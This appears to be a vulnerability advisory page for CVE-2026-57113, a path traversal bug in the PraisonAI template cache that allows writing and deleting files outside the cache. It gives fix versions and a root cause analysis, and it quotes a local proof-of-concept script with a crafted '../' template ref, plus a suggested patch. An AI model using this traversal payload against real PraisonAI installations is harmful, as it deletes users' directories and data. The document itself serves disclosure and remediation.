CVE-2026-57113: Praisonai Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-f44v-7qgw-9gh9
CVSS 8.1
CWE-73 CWE-22
Published
Advisory Summary

CVE-2026-57113 is a HIGH (CVSS 8.1) path traversal vulnerability (CWE-73: External Control of File Name or Path) affecting Praisonai libraries in the PyPI ecosystem. The issue involves praisonai github template cache path traversal allows outside-cache file write and directory deletion. Remediation is available by upgrading affected packages to version 4.6.59.

CVE-2026-57113 at a Glance

CVE Identifier CVE-2026-57113
GHSA Identifier GHSA-f44v-7qgw-9gh9
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Praisonai
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-57113

To remediate this vulnerability, upgrade all affected Praisonai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai fixed: 4.6.59
pip install praisonai>=4.6.59
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-57113, inspect your installed packages using pip:

pip show praisonai

Analyze the terminal output to locate any version of Praisonai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.59), your application is affected.

Note: The pip show praisonai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Praisonai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary PraisonAI's template loader accepts GitHub template URIs with refs, for example `github:owner/repo/template@v1.0.0`. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into `~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref>` without normalizing each segment or checking that the final path remains inside the template cache root. A crafted ref such as `../../../../../../outside-delete-target` therefore escapes the cache directory. The first load can write `.cache_meta.json` outside the cache. If the normal cache hierarchy for the same owner/repo/template has already been created, the same path reaches `shutil.rmtree(cache_path)` and removes an attacker-selected outside directory before replacing it with cache metadata. This is distinct from the old template Zip Slip advisory. No malicious archive member is needed, and the PoV disables network access entirely. The bug is in cache-key construction for GitHub template URIs. ## Affected versions Confirmed vulnerable: - `v2.6.0` - `v3.9.24` - `v3.9.26` - `v4.5.126` - `v4.5.128` - `v4.6.9` - `v4.6.10` - `v4.6.56` - `v4.6.57` - current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1` Recommended affected range: `>= 2.6.0, <= 4.6.57`. No fixed version is known at the time of this report. ## Impact An attacker who can cause a user or service to load an attacker-supplied PraisonAI GitHub template URI can: - create `.cache_meta.json` outside the template cache directory; - delete a directory reachable by the PraisonAI process after a normal cache entry exists for the same owner/repo/template prefix; - corrupt user configuration, project state, or application data reachable by the process permissions. ## Root cause Current-head code path: - `praisonai/templates/resolver.py`: `GITHUB_PATTERN` captures `path` and `ref` with broad regex groups and returns them without segment validation. - `praisonai/templates/security.py`: `is_source_allowed()` allows GitHub sources by default when `allow_any_github` is true. - `praisonai/templates/registry.py`: `get_template()` resolves a GitHub URI, fetches the template, calculates a checksum, then calls `self.cache.put(...)`. - `praisonai/templates/cache.py`: `_get_cache_path()` builds the cache path as `self.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref`. - `praisonai/templates/cache.py`: `put()` removes an existing `cache_path` with `shutil.rmtree(cache_path)`, recreates it, copies content, and writes `.cache_meta.json`. There is no check equivalent to: 1. reject absolute path segments; 2. reject `.` / `..` in owner, repo, template path, or ref; 3. resolve the candidate path; 4. require `os.path.commonpath([cache_root, candidate]) == cache_root`. ## Local-only PoV Run from a PraisonAI source checkout: ```python from pathlib import Path from tempfile import TemporaryDirectory from praisonai.templates.cache import TemplateCache from praisonai.templates.loader import TemplateLoader from praisonai.templates.registry import TemplateRegistry def loader(cache_dir): cache = TemplateCache(cache_dir=cache_dir) registry = TemplateRegistry(cache=cache, offline=False) registry._make_request = lambda url, headers=None: (_ for _ in ()).throw( RuntimeError("network disabled") ) return TemplateLoader(cache=cache, registry=registry) with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp: root = Path(tmp) cache_dir = root / "cache" / "templates" write_target = root / "outside-write-target" loader(cache_dir).load( "github:attacker/repo/template@../../../../../../outside-write-target" ) delete_target = root / "outside-delete-target" delete_target.mkdir() canary = delete_target / "canary.txt" canary.write_text("delete-me") ldr = loader(cache_dir) ldr.load("github:attacker/repo/template@main") ldr.load( "github:attacker/repo/template@../../../../../../outside-delete-target" ) safe_target = root / "safe-control" safe_target.mkdir() safe_canary = safe_target / "canary.txt" safe_canary.write_text("must-remain") loader(root / "safe-cache" / "templates").load( "github:attacker/repo/template@main" ) print("outside metadata written:", (write_target / ".cache_meta.json").exists()) print("outside canary exists after malicious ref:", canary.exists()) print("safe canary exists after normal ref:", safe_canary.exists()) ``` Expected output: ```text outside metadata written: True outside canary exists after malicious ref: False safe canary exists after normal ref: True ``` The PoV uses only temporary directories and disables network fetches. I also confirmed the same behavior without monkeypatching network fetches. With a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles the failed fetch, returns a fallback template config, and still writes/deletes through the escaped cache path. The PoV above disables network only to keep the reproducer deterministic and harmless. ## Release sweep The same PoV was run against checked-out tags: ```text praisonai-current metadata_write= True outside_delete= True safe_control= True praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True ``` `git log` shows the affected template cache/resolver/registry files were added in the `v2.6.0` release commit `e7a8ce8e`. ## Suggested fix Validate every cache path segment before joining: - owner and repo: strict GitHub owner/repo-name regex; - template path: split on `/` and reject empty, `.`, `..`, and absolute forms; - ref: reject `/`, path separators, empty segments, `.`, `..`, and absolute forms, or encode/hash the ref before using it in a filesystem path. Then enforce a final boundary check: ```python cache_root = self.cache_dir.resolve() candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve() if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root): raise ValueError("template cache path escapes cache root") ``` A more robust design is to hash untrusted URI fields into opaque directory names instead of using raw remote identifiers as path segments. Also consider failing closed when a GitHub template fetch returns no files. Currently a failed fetch can still result in a cached empty template directory.

CVE-2026-57113 Affected Praisonai Versions

1 component(s)
Fixed Versions:
4.6.59
Product / Package Ecosystem Affected Versions Fixed Version
praisonai
PyPI
≥ 2.6.0
< 4.6.59
4.6.59

References

Frequently Asked Questions

What is CVE-2026-57113?
CVE-2026-57113 is a security vulnerability in Praisonai involving PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion under CWE-73: External Control of File Name or Path.
Which Praisonai versions are affected?
Affected versions include releases prior to 4.6.59 across affected packages: praisonai.
What version fixes CVE-2026-57113?
Upgrading to 4.6.59 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai affected?
Yes, praisonai is affected in releases prior to 4.6.59. Upgrade your dependency to 4.6.59 or later.
What is the CVSS score of CVE-2026-57113?
CVE-2026-57113 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-57113?
CVE-2026-57113 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check PyPI dependencies for CVE-2026-57113?
Run the dependency tree command: 'pip show praisonai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f44v-7qgw-9gh9",
  "modified" : "2026-07-20T21:24:05Z",
  "published" : "2026-06-18T14:24:55Z",
  "aliases" : [ "CVE-2026-57113" ],
  "summary" : "PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion",
  "details" : "## Summary\n\nPraisonAI's template loader accepts GitHub template URIs with refs, for example\n`github:owner/repo/template@v1.0.0`. The resolver stores the user-controlled\ntemplate path and ref verbatim, and the cache layer later joins those values into\n`~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref>` without\nnormalizing each segment or checking that the final path remains inside the\ntemplate cache root.\n\nA crafted ref such as `../../../../../../outside-delete-target` therefore\nescapes the cache directory. The first load can write `.cache_meta.json` outside\nthe cache. If the normal cache hierarchy for the same owner/repo/template has\nalready been created, the same path reaches `shutil.rmtree(cache_path)` and\nremoves an attacker-selected outside directory before replacing it with cache\nmetadata.\n\nThis is distinct from the old template Zip Slip advisory. No malicious archive\nmember is needed, and the PoV disables network access entirely. The bug is in\ncache-key construction for GitHub template URIs.\n\n## Affected versions\n\nConfirmed vulnerable:\n\n- `v2.6.0`\n- `v3.9.24`\n- `v3.9.26`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.9`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nRecommended affected range: `>= 2.6.0, <= 4.6.57`.\n\nNo fixed version is known at the time of this report.\n\n## Impact\n\nAn attacker who can cause a user or service to load an attacker-supplied\nPraisonAI GitHub template URI can:\n\n- create `.cache_meta.json` outside the template cache directory;\n- delete a directory reachable by the PraisonAI process after a normal cache\n  entry exists for the same owner/repo/template prefix;\n- corrupt user configuration, project state, or application data reachable by\n  the process permissions.\n\n## Root cause\n\nCurrent-head code path:\n\n- `praisonai/templates/resolver.py`: `GITHUB_PATTERN` captures `path` and `ref`\n  with broad regex groups and returns them without segment validation.\n- `praisonai/templates/security.py`: `is_source_allowed()` allows GitHub sources\n  by default when `allow_any_github` is true.\n- `praisonai/templates/registry.py`: `get_template()` resolves a GitHub URI,\n  fetches the template, calculates a checksum, then calls `self.cache.put(...)`.\n- `praisonai/templates/cache.py`: `_get_cache_path()` builds the cache path as\n  `self.cache_dir / \"github\" / resolved.owner / resolved.repo /\n  resolved.path / ref`.\n- `praisonai/templates/cache.py`: `put()` removes an existing `cache_path` with\n  `shutil.rmtree(cache_path)`, recreates it, copies content, and writes\n  `.cache_meta.json`.\n\nThere is no check equivalent to:\n\n1. reject absolute path segments;\n2. reject `.` / `..` in owner, repo, template path, or ref;\n3. resolve the candidate path;\n4. require `os.path.commonpath([cache_root, candidate]) == cache_root`.\n\n## Local-only PoV\n\nRun from a PraisonAI source checkout:\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonai.templates.cache import TemplateCache\nfrom praisonai.templates.loader import TemplateLoader\nfrom praisonai.templates.registry import TemplateRegistry\n\ndef loader(cache_dir):\n    cache = TemplateCache(cache_dir=cache_dir)\n    registry = TemplateRegistry(cache=cache, offline=False)\n    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(\n        RuntimeError(\"network disabled\")\n    )\n    return TemplateLoader(cache=cache, registry=registry)\n\nwith TemporaryDirectory(prefix=\"prai-cache-ref-pov-\") as tmp:\n    root = Path(tmp)\n    cache_dir = root / \"cache\" / \"templates\"\n\n    write_target = root / \"outside-write-target\"\n    loader(cache_dir).load(\n        \"github:attacker/repo/template@../../../../../../outside-write-target\"\n    )\n\n    delete_target = root / \"outside-delete-target\"\n    delete_target.mkdir()\n    canary = delete_target / \"canary.txt\"\n    canary.write_text(\"delete-me\")\n\n    ldr = loader(cache_dir)\n    ldr.load(\"github:attacker/repo/template@main\")\n    ldr.load(\n        \"github:attacker/repo/template@../../../../../../outside-delete-target\"\n    )\n\n    safe_target = root / \"safe-control\"\n    safe_target.mkdir()\n    safe_canary = safe_target / \"canary.txt\"\n    safe_canary.write_text(\"must-remain\")\n    loader(root / \"safe-cache\" / \"templates\").load(\n        \"github:attacker/repo/template@main\"\n    )\n\n    print(\"outside metadata written:\", (write_target / \".cache_meta.json\").exists())\n    print(\"outside canary exists after malicious ref:\", canary.exists())\n    print(\"safe canary exists after normal ref:\", safe_canary.exists())\n```\n\nExpected output:\n\n```text\noutside metadata written: True\noutside canary exists after malicious ref: False\nsafe canary exists after normal ref: True\n```\n\nThe PoV uses only temporary directories and disables network fetches.\n\nI also confirmed the same behavior without monkeypatching network fetches. With\na non-existent GitHub repository, PraisonAI makes real GitHub requests, handles\nthe failed fetch, returns a fallback template config, and still writes/deletes\nthrough the escaped cache path. The PoV above disables network only to keep the\nreproducer deterministic and harmless.\n\n## Release sweep\n\nThe same PoV was run against checked-out tags:\n\n```text\npraisonai-current metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True\npraisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True\n```\n\n`git log` shows the affected template cache/resolver/registry files were added\nin the `v2.6.0` release commit `e7a8ce8e`.\n\n\n## Suggested fix\n\nValidate every cache path segment before joining:\n\n- owner and repo: strict GitHub owner/repo-name regex;\n- template path: split on `/` and reject empty, `.`, `..`, and absolute forms;\n- ref: reject `/`, path separators, empty segments, `.`, `..`, and absolute\n  forms, or encode/hash the ref before using it in a filesystem path.\n\nThen enforce a final boundary check:\n\n```python\ncache_root = self.cache_dir.resolve()\ncandidate = (cache_root / \"github\" / owner / repo / safe_path / safe_ref).resolve()\nif os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):\n    raise ValueError(\"template cache path escapes cache root\")\n```\n\nA more robust design is to hash untrusted URI fields into opaque directory names\ninstead of using raw remote identifiers as path segments.\n\nAlso consider failing closed when a GitHub template fetch returns no files.\nCurrently a failed fetch can still result in a cached empty template directory.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.6.0"
      }, {
        "fixed" : "4.6.59"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.57"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f44v-7qgw-9gh9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T14:24:55Z",
    "nvd_published_at" : null
  }
}